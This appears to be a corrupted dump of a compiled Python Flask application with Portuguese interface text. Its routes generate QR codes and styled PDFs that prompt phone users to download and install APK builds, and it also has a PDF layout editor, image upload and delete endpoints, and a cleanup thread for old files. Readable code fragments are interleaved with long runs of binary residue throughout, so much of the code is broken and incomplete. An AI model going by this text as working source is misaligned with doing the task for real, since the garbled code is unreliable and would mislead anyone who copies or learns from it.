   r}  r  r   r   r^   r  r  r   r   r   )r  rd  s     rJ   pdf_download_router  	  s     ())VVOR0"5Fww||CJJ|4oFH77>>(##!567<<XTAQ\mnnrI   c                 <  ^^ SS K nSSKJn  [        U4S jS 5       5      n[        U4S jS 5       5      nUR	                  S UR
                  R                  USS9n	U	R                  U5        U	R                  SS	9  U	R                  XxS
9n
U
R                  U 5        g )Nr   )StyledPilImagec              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  r  s     rJ   rT   r    r  r  r"  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  r  s     rJ   rT   r    r  r  rl  )versionr  r  r  Tr  r  )r  qrcode.image.styledpilr  rn  r  r  r  r  r  r  r  )r   r  r  rf  r  r  r  r  rl  r  r  s     ``       rJ   r  r    s    5	GYG	GB	GYG	GB	tf6F6F6V6Vairs	tBKKGGG
--2-
5CHHTNrI   c	           
        ^( SSK Jn	  SSKJn
  SSKJn  SSKJn  S nU
u  pU	R                  X
S9nU" U5      nU" U5      nU" U5      nUS   US   -   US	   -   S
-  S:  m(UR                  " U6   UR                  SSXSSS9  UnUR                  " U6   UR                  SUSU-  -
  USU-  SSS9  SU-  nUU-
  S	-  nUSU-  -
  n U" U5      nUR                  UUUUUSS9  UR                  " U6   UR                  S	5        UR                  USU-  -
  USU-  -
  USU-  -   USU-  -   SU-  SSS9  [!        U(4S jU 5       5      nUR                  " U6   [#        U5      S::  a  SOSnUR%                  SU5        UR'                  US	-  USU-  -
  U5        UR                  " U6   UR%                  SS5        UR'                  US	-  USU-  -
  U5        UR                  " U6   UR                  S5        UR)                  S
U-  USU-  -
  US
U-  -
  USU-  -
  5        UR                  " U6   UR%                  SS5        USU-  -
  nUR+                  5       nSn/ nU HT  nUS -   U-   R-                  5       n UR/                  U SS5      USU-  -
  ::  a  U nM:  U(       a  UR1                  U5        UnMV     U(       a  UR1                  U5        US S  H!  n!UR'                  US	-  UU!5        US!U-  -  nM#     S"U-  n"S#U-  n#UU"-
  S	-  n$US$U-  -
  n%UR                  " U6   UR                  U$U%U"U#S%U-  SSS9  US   US   -   US	   -   S
-  n&UR                  " U&S:  a  S&OS'6   UR%                  SS(5        UR'                  US	-  U%S)U-  -   S*5        UR3                  UU$U%U$U"-   U%U#-   4SS+9  [!        U(4S, jU 5       5      n'UR                  " U'6   UR%                  SS-5        UR'                  US	-  U%SU-  -
  S.5        UR'                  US	-  S/U-  S05        UR5                  5         UR7                  5         g ! [         a     GNf = f)1Nr   r'  r)  r+  r  c                 P   ^  T R                  S5      m [        U 4S jS 5       5      $ )Nr  c              3   L   >#    U  H  n[        TXS -    S5      S-  v   M     g7fr  ra  r  s     rJ   rT   6_create_qr_pdf.<locals>._hex_to_rgb.<locals>.<genexpr>+  s%     @iS1qS2&u,ir!  r"  r#  r$  s   `rJ   _hex_to_rgb#_create_qr_pdf.<locals>._hex_to_rgb)  s!    HHSM@i@@@rI   r-  r-  rj  rl  r  r<  r?  r   g      !@r  r  r  r  r  c              3   n   >#    U  H*  nT(       a  [        S US-
  5      O[        SUS-   5      v   M,     g7f)r   rA  r-  Nr  r2  r3  s     rJ   rT   r  I  s.     Ss!C1t8$SAH5EEsr8  r  r9  r  rE  rO   rF  rW   g'@rK  rY   rC   rB  rM   rG  g?rk  rI  rJ  rh  rM  rL  rN  c              3   n   >#    U  H*  nT(       a  [        S US-
  5      O[        SUS-   5      v   M,     g7f)r   r  r-  Nr  r3  s     rJ   rT   r  x  s,     RcSAG_SAG_Dcr8  r  z+Ou escaneie o QR Code acima com seu celularrH  z+Toque no botao ou escaneie o QR para baixar)rP  r(  rQ  r*  rR  r,  r  r  rS  rT  rU  r  rV  rW  ra  r   rn  r  r]  r^  r  r&  r  r_  r]   rb  rc  r  ))rd  r  r/  r  re  r  rf  rg  rh  rj  r*  r,  r  r  r7  r  rk  rl  rm  rj  accentr  r  r  qr_imgsub_colru  rv  ry  r  rw  rz  rm  r{  r|  r}  r~  r  r  hint_colr5  s)                                           @rJ   r  r  #  s   4*&/A DA/A	X	B
i
 C
j
!C!ur!u}r!u$)C/GrFF1aAaF(FvFF1a#b&j!SV!AF6 dGK1Ds2v:D[)	FD$vF	V$	q	D3r6M4#b&='CF2BGcRTfDTVYZ\V\cdmno SsSSGs%jB&BIII	*!QBY.wIIk2!QBY1!NN3FF1R4T"Wa!B$hDG4wIIk22IEMMOEDIs
T!((*=={B/1qt8;D  &D  m	AaC+b  bDEFEY!OECFNEsKKueUDG!AKF1vAQ'1,G'C-wW=II#!UT"W_.ABIIlUE55=%%-HSTIURcRRHx IIk1!USV^-Z[!SV%RSJJLFFHs  s   A,P6 6
QQz
/qr/buildsc                      [        5       $ r  )r  rH   rI   rJ   qr_list_buildsr    s    rI   z/qr/generatec                     S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SSS.5      S	4$ [        R                  " S
S[        U R                  SS5      5      5      S S n[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        U R                  SS5      5      n[        U R                  SS5      5      S S R                  5       =(       d    Sn[        U R                  SS5      5      S S R                  5       n[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS5      5      5      S S =(       d    Sn[        R                  " SS[        U R                  SS 5      5      5      S S =(       d    S n	U(       d  [        SS!S.5      S	4$ [        5       n
[         S   nU
S"   R                  U0 5      R                  S#S$5      nU
S"   R                  U0 5      R                  S%5      nSnS&nU
S"   R                  5        H  u  nnUS$:X  a  UU:w  a  M  US':X  a  UR                  S%5      U:w  a  M1  UR                  S(/ 5       HE  nUR                  S5      U:X  d  M  UR                  S)5      S*:X  d  M1  SnUR                  S+S&5      n  O   U(       d  M    O   U(       d  US,:X  a  U
S"   R                  5        Hj  u  nnUR                  S(/ 5       HE  nUR                  S5      U:X  d  M  UR                  S)5      S*:X  d  M1  SnUR                  S+S&5      n  O   U(       d  Mj    O   U(       d  [        SS-S.5      S.4$ [        R                  " S/5      n[!        5       n["        R$                  " 5       ['        S0S19-   R)                  5       nXU["        R$                  " 5       R)                  5       US2S3S4.UU'   [+        U5        S5U 3n[        R                  " S65      n[,        R.                  S7   n[0        R2                  R5                  US8U S935      n [7        UUX#S:9  SUS<U 3UUS=.nU(       aX  [        R                  " S65      n[0        R2                  R5                  UU S>35      n [;        UXVUUUXxU	5	        UUS?'   S@U 3USA'   [=        USDSEU SFU SG35        US<U 3UX["        R$                  " 5       R)                  5       SH.nU(       a  S?U;   a  S@US?    3USA'   [?        U5        S&USSI.SJUSSI.SKUS S SSI./nU(       a  URA                  SLSMSSI.5        [C        SNSOU SP3SQUSR9  [        U5      $ ! [8         a&  n[        SS;[        U5       3S.5      S4s S nA$ S nAff = f! [8         a  nSB[        U5       3USC'    S nAGNS nAff = f)SNr  Fr  r-  r@  Tr1  r4  r5  r  rY   r  r8  r  r  #000000ry   rf  #ffffffas_pdfr  r  r  r/  z3Escaneie o QR Code ou toque no botao para instalar.r  pdf_bgr  pdf_btnr  pdf_txtr  r  r:  r(  r  r/  r   r  r.  r-  r  r  r!  Build nao encontrador  r  r   r  r   r  r  r  rh  r  qr_r  )r  rf  zErro ao gerar QR: z
/qr/image/)r.  qr_idqr_urlr  r  r  r  r  r  zQR gerado mas PDF falhou: pdf_warningzGerar QR CodezQR gerado para build r  r  )r  r  r  r  r  r*  rx  r  r  PDFzSim, gerado juntozQR CODE GERADOzNovo QR Code criado para **r  rY  r|  )"r   r   r   rA  rB  rF  r}  r  r`   r  r  r  rJ  rM  r   r   r  r   r  r   rB  r  r  r  r   r   r^   r  r   r  r  r  r]   r  ) r  r  r  rf  r  r  r  r  r  r  rD  r  r  r  r  r  r  rc  r;  r  r  r  re  r  	qr_folderr  r   resultr  rd  _qr_itemr  s                                    rJ   qr_generater    sS    55GHI3NN$t4:DdD!!55FGH#MMvv'S*b1I-JKCRPHvv&CY0O,PQRTSTUbYbHvv&CY0O,PQRTSTUbYbH$((8U+,FDHHW&>?@#FLLNjRjIdhhy*_`abfcfgmmoKVV$b#dhhx.K*LMbqQ^U^Fff%r3txx	9/M+NOPRQRS`W`Gff%r3txx	9/M+NOPRQRS`W`G55LMNPSSS	B:&Lg;??<488LLg;??<488CLKH7))+u:%%<*?7"uyy';|'K8R(AuuZ H,xK1O"55U3	 )
 ; , <72wK--/LE5YYx,55$0QUU8_5S"&K uuZ7H	 -
 { 0 55KLMsRR  $HF//#iR&88CCEJ$,R^nvn}n}n  oJ  oJ  oL  \f  uv  @D  EF8V.xj9Lb!E

<(I'',,yCwd*;<KZ{L8W :eW9M[cp|}F""2&77<<	fXT?;	J8YX|U`bhsz{%F8"0 9F9 o1FxjPRS[R\\]/^_Jug*><em  Zb  Zi  Zi  Zk  Zu  Zu  Zw  xH(f$ .vh/?.@AH T:ldC,t*<NF
 u/BdST)-H
RT+U]entu6??  Z57I#a&5RSTVYYYZ  	J&@Q$IF=!	Js6   X 6X5 
X2X-'X2-X25
Y?YYz/qr/image/<qr_id>c                 X   S[         ;  a  [        [        S5      5      $ [        R                  " SSU 5      S S n [
        R                  R                  [        R                  S   SU  S35      n[
        R                  R                  U5      (       d  [        S	S
05      S4$ [        USS9$ )Nr  r%  r  rY   r  r  r  r  r~  zQR nao encontrador  	image/pngr  r  )r  qr_paths     rJ   qr_imager
    s     ())FF?B.s3Eggll3::l3s5'5FGG77>>'""!456;;W{33rI   z	/pdf/listc                  2   S[         ;  a  [        / 5      S4$ [        5       n [         S   nU S   R                  U0 5      R                  SS5      nU S   R                  U0 5      R                  S5      n[	        SXX05      n/ nU H  n[        U5      n[        R                  R                  [        R                  S   UR                  S	S
5       S35      n[        R                  R                  U5      US'   UR                  U5        M     [        U5      $ )Nr  r@  r:  r(  r  r/  r  r  r  rY   r  r   r   r   rJ  r  r  rF  r   r   r^   r  r  r   r]   )rD  r  r  r  rM  outr  rd  s           rJ   pdf_list_itemsr    s     r{C	B:&Lg;??<488LLg;??<488CLO\ZE
CDz77<<

< 8TXXhr=R<SSW:XY1X

4	 
 3<rI   z/qr/listc            	      4   S[         ;  a  [        / 5      S4$ [        5       n [         S   nU S   R                  U0 5      R                  SS5      nU S   R                  U0 5      R                  S5      n[	        SXX05      n/ nU H  n[        U5      n[        R                  R                  [        R                  S   S	UR                  S
S5       S35      n[        R                  R                  U5      US'   UR                  U5        M     [        U5      $ )Nr  r@  r:  r(  r  r/  r  r  r  r  rY   r  r   r  )rD  r  r  r  rM  r  r  r	  s           rJ   qr_list_itemsr    s     r{C	B:&Lg;??<488LLg;??<488CLNLYE
CDz'',,szz,73txxPR?S>TTX9YZ0X

4	 
 3<rI   z/pdf/delete/<pdf_id>c                    S[         ;  a  [        SS05      S4$ [        R                  " SSU 5      S S n [	        5       n[         S   nUS   R                  U0 5      R                  S	S
5      nUS   R                  U0 5      R                  S5      n[        5       nUR                  S/ 5      n/ nSnU Hw  n	U	R                  S5      U :X  aN  U	R                  S5      n
US:X  d3  X:X  d.  US:X  a,  US   R                  U
0 5      R                  S5      U:X  a  SnMf  UR                  U	5        My     U(       d  [        SSS.5      S4$ XuS'   [        U5        [        R                  R                  [        R                  S   U  S35      n[        R                  R                  U5      (       a  [        R                  " U5        [        SS05      $ )Nr  r.  Fr@  r  rY   r  r:  r(  r  r/  r  r  r  r!  r  TNao encontrador-  r  r  r  )r   r   r}  r  rJ  r  r  r]   r  r   r   r^   r  r  r   r  )r  rD  r  r  r  r  rM  	new_itemsfoundr  r!  rd  s               rJ   
pdf_deleter    s    	5)*C//VVOR0"5F	B:&Lg;??<488LLg;??<488CLFJJ+EIE88H'HH\*Ew&%*?LT[D[`bcj`k`o`opuwy`z`~`~  @I  aJ  NZ  aZ  55EFGLL'?Vww||CJJ|4oFH	ww~~h
		(It$%%rI   z/qr/delete/<qr_id>c                     S[         ;  a  [        SS05      S4$ [        R                  " SSU 5      S S n [	        5       n[         S   nUS   R                  U0 5      R                  S	S
5      nUS   R                  U0 5      R                  S5      n[        5       nUR                  S/ 5      n/ nSnS n	U H  n
U
R                  S5      U :X  a{  U
R                  S5      nUS:X  d3  X:X  d.  US:X  aY  US   R                  U0 5      R                  S5      U:X  a1  SnU
R                  S5      (       a  U
S   R                  S5      S   n	M  UR                  U
5        M     U(       d  [        SSS.5      S4$ XuS'   [        U5        SU  S34 Hp  n[        R                  R                  [        R                  S   U5      n[        R                  R                  U5      (       d  MZ  [        R                   " U5        Mr     U	(       an  [        R                  R                  [        R                  S   U	 S35      n[        R                  R                  U5      (       a  [        R                   " U5        [        SS05      $ )Nr  r.  Fr@  r  rY   r  r:  r(  r  r/  r  r  r  r!  r  Tr  r#  r{  r  r-  r  r  r  r  r  )r   r   r}  r  rJ  r  r  r&  r]   r  r   r   r^   r  r  r   r  )r  rD  r  r  r  r  rM  r  r  pdf_id_to_delr  r!  f_namerc  s                 rJ   	qr_deleter  6  s9    	5)*C//FF?B.s3E	B:&Lg;??<488LLg;??<488CLFJJ~r*EIEM88G%HH\*Ew&%*?LT[D[`bcj`k`o`opuwy`z`~`~  @I  aJ  NZ  aZ88I&&$(O$9$9#$>r$BM  55EFGLL&>Vt$%GGLLL16:77>>!IIaL & GGLLL1m_D3IJ77>>!IIaLIt$%%rI   c                 v  ^8^9^:^;^<^= SSK Jn  SSKJn  SSKJn  SS KnSS Kn	Sm9Sm8Uu  m;m:U8U9U:U;4S jn
UR                  XS9nU(       a  [        U5      OS	nUR                  " U6   UR                  SST;T:S
SS9  U G
H  nUR                  SS5      n [        UR                  SS5      5      n[        UR                  SS5      5      n[        [        UR                  SS5      5      S
5      n[        [        UR                  SS5      5      S
5      nU
" UUUU5      u  nnnnUS:X  Ga  [        UR                  SS5      5      S S n[!        [        [        UR                  SS5      5      S5      S5      n[#        UR                  SS5      5      n[$        R&                  " SS[        UR                  SS5      5      5      S S =(       d    SnUR                  S S!5      nU(       a  S"OS#nUR                  " [        U5      6   UR)                  UU5        UR+                  S$5      n[-        US S% 5       Hv  u  nnUU-   UUS
-   -  -
  S&-   n U US&-
  :  a    GM  US':X  a  UR/                  UUS&-  -   U U5        ME  US(:X  a  UR1                  UU-   U U5        Mc  UR3                  UU U5        Mx     GM6  US):X  a  [$        R&                  " S*S[        UR                  S+S5      5      5      S S% n![4        R6                  R9                  US,U! 35      n"[4        R6                  R;                  U"5      (       a:  [#        UR                  S-S.5      5      n#UR=                  U" U"5      UUUUS/U#S0S19  GM  GM  US2:X  GaH  [$        R&                  " SS[        UR                  S3S5      5      5      S S =(       d    Sm=[$        R&                  " SS[        UR                  S4S55      5      5      S S =(       d    S5m<[?        U=4S6 jS7 5       5      n$[?        U<4S8 jS7 5       5      n%URA                  URB                  RD                  S9S&S:9n&U&RG                  U5        U&RI                  S.S;9  U&RK                  U$U%S<9n'U	RM                  5       n(U'RO                  U(S=S>9  U(RQ                  S5        UR=                  U" U(5      UUUU5        GMC  US?:X  Gap  [        UR                  S@SA5      5      S S n)[$        R&                  " SS[        UR                  S4SB5      5      5      S S =(       d    SBn*[$        R&                  " SS[        UR                  SCS55      5      5      S S =(       d    S5n+[!        [        [        UR                  SSD5      5      SE5      S%5      n,[!        USF-  S95      n-UR                  " [        U*5      6   URS                  UUUUU-S
SS9  UR                  " [        U+5      6   UR)                  S"U,5        UR/                  UUS&-  -   UUU,-
  S&-  -   S
-   U)5        URU                  UUUUU-   UU-   4SSG9  GM  USH:X  Ga  [$        R&                  " S*S[        UR                  S+S5      5      5      S S% n![        UR                  SIS5      5      S SJ n.[4        R6                  R9                  US,U! 35      n"[4        R6                  R;                  U"5      (       a  UR=                  U" U"5      UUUUS/SSK9  O'UR                  SLSLSL5        UR                  UUUUS
SS9  [!        UU5      SM-  n/UUS&-  -   n0UUS&-  -   n1UR                  S
S
S
5        URW                  U0U1U/S
SS9  UR                  SLSLSL5        URY                  5       n2U2R[                  U0U/SN-  -
  U1U/SO-  -   5        U2R]                  U0U/SP-  -   U15        U2R]                  U0U/SN-  -
  U1U/SO-  -
  5        U2R_                  5         URa                  U2S
SS9  U.(       a  URU                  U.UUUU-   UU-   4SSG9  GM  GM  USQ:X  GaA  [$        R&                  " SS[        UR                  SRSS5      5      5      S S =(       d    SSn3[$        R&                  " SS[        UR                  STS5      5      5      S S n4[        UR                  SUS
5      5      n5[        UR                  SVS5      5      n6UR                  " [        U35      6   [#        U45      n7U7(       a)  URb                  " [        U45      6   URe                  U55        U6S:  a!  URS                  UUUUU6S
U7(       a  S
OSS9  GM  UR                  UUUUS
U7(       a  S
OSS9  GM  USW:X  Ga  [$        R&                  " SS[        UR                  SRSS5      5      5      S S =(       d    SSn3[$        R&                  " SS[        UR                  STS5      5      5      S S n4[        UR                  SUS
5      5      n5UR                  " [        U35      6   [#        U45      n7U7(       a)  URb                  " [        U45      6   URe                  U55        URg                  UUUU-   UU-   S
U7(       a  S
OSS9  G	M  USX:X  a  [$        R&                  " SS[        UR                  SRS5      5      5      S S =(       d    Sn3URb                  " [        U35      6   URe                  U5        URi                  UUUS&-  -   UU-   UUS&-  -   5        G
M  G
M     URm                  5         URO                  5         g ! [j         a     G
M  f = f)YNr   r'  r)  r  g     @@g     @c                 X   > U TT	-  -  nUTT	-  -  nUT
T-  -  nT
UT
T-  -  -
  U-
  nXGXV4$ r  rH   )ro  cycwchr4  r7  r  yCANVAS_HCANVAS_WPAGE_HPAGE_Ws           rJ   to_pdf$_render_advanced_pdf.<locals>.to_pdfh  sS    6H$%6H$%6H$%bFX-..2QzrI   r-  rJ  r-  r<  r  rY   r4  r  r7  r8  r  r9  r   i  ru     r|   r  boldFr  r  r  ry   alignleftrE  rF  r|  r  rj  centerrightimage[^a-zA-Z0-9._-]img_idimg_
keep_ratioTr  rk  )r  preserveAspectRatior  r  r  rl  r  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  rQ   rR   fg_hexs     rJ   rT   '_render_advanced_pdf.<locals>.<genexpr>  -     U9as6==#5a!#<bAA9r  r"  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  rQ   rR   bg_hexs     rJ   rT   r5    r6  r  rO   r  r  r  r  r  buttonr  rL  r  rh  rK  r   rl  rN  videor  r  )r  r1  g?g(\?r  g?r  rU  r=  z#ccccccr  border_widthradiusellipser  )7rP  r(  rQ  r*  r  r  r  rN  rS  r%  rT  rU  r  floatr  r`   r2  r  r}  r  r]  r&  r  r^  drawRightString
drawStringr   r   r^   r   r  rn  r  r  r  r  r  r  r  r  seekra  rb  rX  rY  rZ  r[  r  r\  rV  rW  r>  r  r   rc  )>rd  rf  elementsre  r  rj  r*  r  
qrcode_librN  r$  rk  rl  elr  ro  r  r  r  r4  r  r7  r  r|  fsizer'  r  r(  fontrx  rR   r  lyraw_idimg_pathpreservefg_tbg_tr  r  r  r  btn_bgbtn_tc	btn_fsizer=  	video_urlr2cx2cy2p2fill_hex
border_hexbwradius_r
has_borderr   r!  r"  r#  r9  r4  s>                                                           @@@@@@rJ   _render_advanced_pdfr[  ]  s	   4*/HHNFF  	/A  ((	YBrFF1aaF2FF62y	rvvc1~&Brvvc1~&BU266#r?+Q/BU266#r?+Q/BBB/JAq!QF{BFF62./6Cbff["&= >BCHRVVFE23/S9S5TUVXWXYf]fw/,0(k!!8E?3		$&		$(s4GAtQ!a%014BAEz(++AAIr4@')))!a%T:QD1  5 g&&!3RRVVHb=Q9RSTWUWX77<<
d6(OD77>>(++#BFF<$>?HKKH 5q!Q%+RU   W ,
 d 0"c"&&y:Q6RSTVUVWd[d 0"c"&&y:Q6RSTVUVWd[dU9UUU9UU&&
8L8L8\8\girs&tL)D!mmtmEjjlU+K,aAq9hrvvg/BCDSbI66"2BBFF4QZ<[8\]^`_`anen66"2BBFF<QZ<[8\]^`_`anens5R)@#A1ErJ	q1ub>!!8F#34Aq!QQqA!!8F#34		*I6##AAIqA	MQ3F/F/JER		,Aq1ua!e(<q	Ig66"4b#bffXr>R:STUXVXYrvveR01$37	GGLLtF8_E77>>(++KKH 5q!QdiKj%%c34FF1aAAaF8!Qi$&!a%i!a%i!!!Q*c2Aa8!!#sC0[[]		#S.#T	/:		#T	/3/		#S.#T	/:


2Aa
0IIi!QAq1u)=IJ  fVV$4b#bffVY>W:XYZ\[\]jajVV$4b#bffXr>R:STUWVWX
"266.!#<="266(A#67!!8H#56!*-
''*)=>NN2&a<KK1aH1*QZ[K\FF1aAA:a1FMiVV$4b#bffVY>W:XYZ\[\]jajVV$4b#bffXr>R:STUWVWX
"266.!#<=!!8H#56!*-
''*)=>NN2&		!QAq1u1*QRS	Tf66"2BBFF69<U8VWXZYZ[h_h##Xh%78q!q!a!e)QUAAI6	 i z JJLFFH	  		sQ   Gl)Al)1B8l)/El)>E4l)5G"l)D%l)l)%D	l)1Bl))
l87l8z/pdf/editorc            	         S[         ;  a  [        [        S5      5      $ [        5       n [         S   nU S   R	                  U0 5      R	                  SS5      nU S   R	                  U0 5      R	                  S5      n/ n[        5       nU S   R                  5        H  u  pgUS:X  a  Xa:w  a  M  US:X  a  UR	                  S5      U:w  a  M/  UR	                  S/ 5       Hl  nUR	                  S	5      S
:X  d  M  UR	                  S5      U;  d  M1  UR                  US   5        UR                  US   UR	                  SS5      S.5        Mn     M     US:X  a  / n[        5       nU S   R                  5        H  u  pgUR	                  S/ 5       Hl  nUR	                  S	5      S
:X  d  M  UR	                  S5      U;  d  M1  UR                  US   5        UR                  US   UR	                  SS5      S.5        Mn     M     [        SXAS9$ )Nr  r%  r:  r(  r  r/  r  r.  r-  r  r  r  r   )r  r  r!  zpdf_editor.html)r.  r  )
r   r	   r
   rJ  r  r  rM  r0  r]   r   )	rD  r  r  r  r.  seenr  rc  r;  s	            rJ   pdf_editor_pager^    s    ())	B:&Lg;??<488LLg;??<488CLF5D7))+:%%*?7"uyy';|'K8R(AuuX+-!%%
2C42O:'1Z=aeeJX]F^_` ) , wuwK--/LEYYx,55?k1aeeJ6Gt6SHHQz]+MMq}!%%PZ\aJb"cd - 0
 ,VSSrI   z/pdf/upload-imagec                  v   S[         ;  a  [        SS05      S4$ S[        R                  ;  a  [        SSS.5      S4$ [        R                  S   n U R                  (       d  [        SS	S.5      S4$ [
        R                  R                  [        U R                  5      5      S
   R                  5       nUS;  a  [        SSS.5      S4$ [        R                  " S5      U-   n[
        R                  R                  [        R                  S   SU 35      nU R                  U5        [        SUSU 3S.5      $ )Nr  r.  Fr@  r  Nenhum arquivor-  r5  zArquivo vazior-  r  z.jpgz.jpegz.gifz.webpzFormato nao suportadorh  r  r/  Tz/pdf/image/)r.  r.  img_url)r   r   r   r1  r  r   r   r  r   r  r   r   r^   r  r  r  )ri  r  r.  rJ  s       rJ   pdf_upload_imagerc    s    	5)*C//W]]"55EFGLLfA::5_EFKK
''

?1::6
7
:
@
@
BC
<<55LMNPSSSr"S(Fww||CJJ|4VHoFHFF8tvKPVxBXYZZrI   z/pdf/image/<img_id>c                    S[         ;  a  [        SS05      S4$ [        R                  " SSU 5      S S n [        R
                  R                  [        R                  S   S	U  35      n[        R
                  R                  U5      (       d  [        SS
05      S4$ [        R
                  R                  U 5      S   R                  5       R                  S5      nSSSSSS.R                  US5      n[        XS9$ )Nr  r~  r  r@  r-  rY   r  r  r/  zImagem nao encontradar  r-  r}   r  z
image/jpegz	image/gifz
image/webp)pngjpgjpeggifwebpr  )r   r   r}  r  r   r   r^   r  r  r   r  r  r  r  r   )r.  rJ  r  mimes       rJ   pdf_get_imagerk  (  s     !345s::VV&F3CR8Fww||CJJ|4VHoFH77>>(##!89:C??
''

6
"1
%
+
+
-
4
4S
9C|\669c#{6K 	X--rI   z/pdf/qr-previewc                    ^^ S[         ;  a  [        SS05      S4$ SS Kn SS Kn[        R
                  " SS[        R                  R                  SS	5      5      S S
 =(       d    S	m[        R
                  " SS[        R                  R                  SS5      5      S S
 =(       d    Sm[        U4S jS 5       5      n[        U4S jS 5       5      nU R                  U R                  R                  SSS9nUR                  S5        UR                  SS9  UR                  X#S9nUR!                  5       nUR#                  USS9  UR%                  S5        ['        USS9$ )Nr  r~  r  r@  r   r  rY   r  r  ry   rl  r  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  r3  s     rJ   rT   !pdf_qr_preview.<locals>.<genexpr>>  -     GYV]]3'A#.33Yr  r"  c              3   d   >#    U  H%  n[        TR                  S 5      XS-    S5      v   M'     g7fr  r  r8  s     rJ   rT   rn  ?  ro  r  r|   rj  r  zhttps://jadbypass.myTr  r  r  r  r  r  )r   r   r  rN  r}  r  r   r  r  rn  r  r  r  r  r  r  r  r  rB  r   )	rD  rN  rL  rM  r  r  r  r9  r4  s	          @@rJ   pdf_qr_previewrq  6  s,    !345s::VV$b',,*:*:4*KLRaP]T]FVV$b',,*:*:4*KLRaP]T]FGYGGDGYGGD			J,@,@,P,P[\ef		gBKK&'GGG
--4-
9C
**,CHHSHHHQKS;//rI   z/pdf/generate-advancedc                  	   S[         ;  a  [        SSS.5      S4$ [        R                  " SSS9=(       d    0 n [	        U [
        5      (       d  [        SSS.5      S	4$ [        R                  " S
S[        U R                  SS5      5      5      S S n[        R                  " SS[        U R                  SS5      5      5      S S =(       d    SnU R                  S/ 5      n[        [        U R                  SS5      =(       d    S5      S5      n[        U R                  SS5      5      S S nU(       a  [	        U[        5      (       d  [        SSS.5      S	4$ [        5       n[         S   nUS   R                  U0 5      R                  SS5      nUS   R                  U0 5      R                  S5      n	Sn
SnUS   R                  5        H  u  pUS:X  a  X:w  a  M  US:X  a  UR                  S5      U	:w  a  M/  UR                  S/ 5       HE  nUR                  S5      U:X  d  M  UR                  S5      S :X  d  M1  Sn
UR                  S!S5      n  O   U
(       d  M    O   U
(       d  US":X  a  US   R                  5        Hi  u  pUR                  S/ 5       HE  nUR                  S5      U:X  d  M  UR                  S5      S :X  d  M1  Sn
UR                  S!S5      n  O   U
(       d  Mi    O   U
(       d  [        SS#S.5      S$4$ [        R                   " S%5      n["        R$                  " 5       ['        US&9-   R)                  5       n[+        5       nXU["        R$                  " 5       R)                  5       US'S(S).UU'   [-        U5        S*U 3n[        R                   " S+5      n[.        R0                  R3                  [4        R6                  S,   U S-35      n [9        UX#U[4        R6                  S,   5        [=        US0S1U 35        [?        US2U 3UU=(       d    UX["        R$                  " 5       R)                  5       US3.5         [A        S4S5U S6U S73S8SUSS9.S:USS9.S;[        [C        U5      5      SS9.S<USS9./S=9  [        SUS2U 3US>.5      $ ! [:         a&  n[        SS.[        U5       3S.5      S/4s S nA$ S nAff = f! [:         a     NRf = f)?Nr  Fr  r-  r@  Tr1  r4  r5  r  rY   r  r8  r  rf  r  ry   rC  r  r   r  r  r   r  r:  r(  r  r/  r  r.  r-  r  r  r!  r  r  r  r  r   pdf_advancedr  r  rh  r  r  r  r  zGerar PDF EditorzPDF editor para r  r  zPDF EDITOR GERADOzPDF editor criado por **r  r  i\ rx  r  	ElementosLinkr|  )r.  r  r  r  )"r   r   r   rA  rB  rF  r}  r  r`   r  r2  rb  listrJ  rM  r   r   r   r  r   rB  r  r  r   r   r^   r  r  r[  r   r  r  r  r  )r  r  rf  rC  r  pdf_title_mrD  r  r  r  r  r  r  rc  r;  r  r  r  re  r  rd  r   s                         rJ   pdf_generate_advancedrx  J  s    55GHI3NN$t4:DdD!!55FGH#MM&&*BDHHZ4L0MNsPRSH&&)BDHHZ4S0TUVXWXYf]fH((:r*Hc$((="5;<cBKdhh{E23DS9K:h5555FGH#MM;B:&Lg;??<488LLg;??<488CLKH7))+:%%*?7"uyy';|'K8R(AuuZ H,xK1O"eeJ6	 )
 ; , <72wK--/LEYYx,55$0QUU8_5S"&K"#%%
E":H	 -
 { 0 55KLMsRR""2&H//#i[&AALLNJ!#F"(//2C2M2M2O q.F8
 V.xj9L$$R(F77<<

< 8VHD/JH[Xx<T`Iab 04DXJ2OP~fX%>+*Aoo'113:	 &|nJxjKxN#|N$s3x=/ATR|O		
	
 tv!/x8\S T T5  [57J3q6(5STUWZZZ[.  s0   R 9S 
S"S=SS
SSc                      [         R                  " S5        [         R                   " 5       S-
  n S=p[        R                  R	                  SS5      nU(       a   [
        R                  " U5       H  n[
        R                  R                  X45      n[
        R                  R                  U5      (       d  MH  UR                  S5      (       d  M`  [
        R                  R                  U5      U :  d  M   [
        R                  " U5        US-  nM     [        R                  R	                  SS5      nU(       a   [
        R                  " U5       H  n[
        R                  R                  Xd5      n[
        R                  R                  U5      (       d  MH  UR                  S	5      (       d  M`  [
        R                  R                  U5      U :  d  M   [
        R                  " U5        US-  nM     U(       d  U(       a  [        S
U SU S35        GM  ! [         a     GM  f = f! [         a     GN%f = f! [         a     M  f = f! [         a     Ncf = f)Nr  Q r   r  rY   rq  r-  r  r  z[cleanup] removidos: z	 APK(s), z PDF(s) com mais de 48h)ro  sleepr  r  r  r   r  r   r^   r  rL  getmtimer  r   r   )cutoffremoved_apkremoved_pdfoutput_folderr2  r3  r  s          rJ   _cleanup_old_apksr    s   


4y($%%

;ZZ6EGGLL>Eww~~e,,1G1G77++E2V;% "		% 0 +q 0 7 ZZ^^L"5
ZZ
3EGGLL;Eww~~e,,1G1G77++E2V;% "		% 0 +q 0 4 +)+i}LcdeI  $- % $%  $- % $% s   AH. 9H. !H. 7HH. >AI I 4!I H?5I 
H+&H. *H++H. .
H<;H<?
I	I II 
II)r  r  z/play/<slug>c                    [         R                  " SSU 5      S S n [        5       nUR                  S0 5      nUR                  U 5      nU(       d  gUR                  SS5      nU(       aF   SSKJnJn  UR                  " U5      nUR                  " 5       U-
  U" S	S
9:  a  X 	 [        U5        g [        SUS9$ !    N= f)Nr  rY   rl  
